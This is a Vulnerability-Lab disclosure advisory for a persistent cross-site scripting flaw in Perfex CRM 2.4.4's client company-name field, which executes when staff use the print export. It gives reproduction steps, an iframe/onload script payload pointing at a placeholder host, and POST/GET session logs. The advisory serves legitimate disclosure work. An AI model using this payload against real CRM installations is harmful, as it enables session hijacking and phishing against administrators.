Perfex CRM 2.4.4 Cross Site Scripting

Perfex CRM version 2.4.4 suffers from a persistent cross site scripting vulnerability.

MD5 | 2e24223958057e3c02abb2ba2fe607ad

Document Title:
Perfex v2.4.4 CRM - (Print) Persistent Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Persistent

Current Estimated Price:
1.000€ - 2.000€

Product & Service Introduction:
Manage Customers, Projects, and Create Invoices in the Cloud. Customer Relationship Management software that is a great fit for
almost any small business, freelancer or many other uses. Manage and invoice projects with the powerful project management feature.
Track expenses and time spent on tasks and bill your customers. Ability to assign multiple staff members on task and track time
logged by assigned project member. (PHP Version: 7.3.16 & MySQL Version: 5.6.40-84.0)

(Copy of the Homepage: )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent xss web vulnerability in the Perfex v2.4.4 web-application.

Affected Product(s):
Product: Perfex v2.4.4 - CRM (Web-Application)

Vulnerability Disclosure Timeline:
2020-06-24: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Restricted Authentication (Guest Privileges)

User Interaction:
Low User Interaction

Disclosure Type:
Full Disclosure

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in the official Perfex v2.4.4 crm web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The persistent vulnerability is located in the `company` name parameter of the `./clients/client` (Customer) module.
Remote attackers with low privileges are able to inject own malicious persistent script code as company name to compromise
the internal print function of the backend. The attacker inject his code and in case the admin or other privileged user
account try to export via print function the code simple executes wihtin a new tab context. The request method to inject
is POST and the attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] /admin/clients/client (Customers)

Vulnerable Parameter(s):
[+] company

Affected Module(s):
[+] Export (Print)

Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Open the registration inject payload as company name or
2. Use an existing account to rename
3. In the backend admins can export and print (execution point)
4. Wait until the function is used to compromise the session
5. Login and successful reproduce of the vulnerability!

PoC: Payload
><iframe src=evil.source onload=alert(document.domain)></iframe>

--- PoC Session Logs [POST] --- (Injection Point - Register or Add/Edit)
Host: localhost:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Origin: https://localhost:8000
Connection: keep-alive
Referer: https://localhost:8000/perfexcrm/admin/clients/client
company=><iframe src=evil.source onload=alert(document.domain)></iframe>&vat=&phonenumber=&website=&default_currency=&
POST: HTTP/2.0 302 Found
server: nginx
content-type: text/html; charset=utf-8
location: https://localhost:8000/perfexcrm/admin/clients/client/13
--- PoC Session Logs [GET] --- (Execution Point - Print Customer Data via Export)
Host: localhost:8000
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
GET: HTTP/1.0 200 OK
server: nginx
content-length: 514
vary: Accept-Encoding
content-encoding: gzip


Credits & Authors:
Vulnerability-Lab -
Benjamin Kunz Mejri -

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